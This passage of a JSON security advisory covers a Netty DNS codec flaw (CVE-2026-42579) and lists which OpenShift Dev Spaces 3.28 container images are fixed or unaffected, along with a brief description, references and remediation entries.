"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477217"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. Netty\u0027s DNS (Domain Name System) codec does not properly enforce domain name constraints as defined in RFC 1035 during both encoding and decoding processes. This vulnerability allows a remote attacker to exploit the decoder using malicious DNS responses or exploit the encoder through user-influenced hostnames, leading to a high integrity impact on the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: Netty: High integrity impact due to improper DNS domain name constraint enforcement",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important integrity flaw in Netty\u0027s DNS codec. The vulnerability arises from insufficient enforcement of RFC 1035 domain name constraints during both encoding and decoding, allowing remote attackers to manipulate DNS responses or user-controlled hostnames. This could lead to a high integrity impact on affected Red Hat products that utilize the vulnerable Netty DNS codec.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"known_not_affected": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42579"
},
{
"category": "external",
"summary": "RHBZ#2477217",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477217"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42579",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42579"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
}
],
"release_date": "2026-05-13T18:01:52.500000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T19:42:14+00:00",
"details": "Before applying this update, make sure all previously released errata relevant to your system have been applied.\nFor details on how to apply this update, refer to:\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le",
"Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64",
